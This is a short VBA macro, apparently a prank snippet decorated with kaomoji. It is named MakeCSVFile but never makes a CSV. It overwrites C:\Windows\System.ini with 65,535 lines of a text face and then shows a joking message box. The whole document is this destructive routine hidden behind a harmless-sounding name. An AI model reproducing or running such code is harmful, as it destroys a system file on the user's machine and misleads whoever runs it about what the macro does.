Public Sub MakeCSVFile()
Dim i As Long
Dim FileNum As Integer

　FileNum=FreeFile
　Open "C:\Windows\System.ini" For OutPut As #FileNum
　　For i=1 To 65535
　　　Print #FileNum,"（ ´∀｀）"
　　Next i
　Close #FileNum

　Msgbox"ヽ(´Ａ`)ﾉ 　 "

End Sub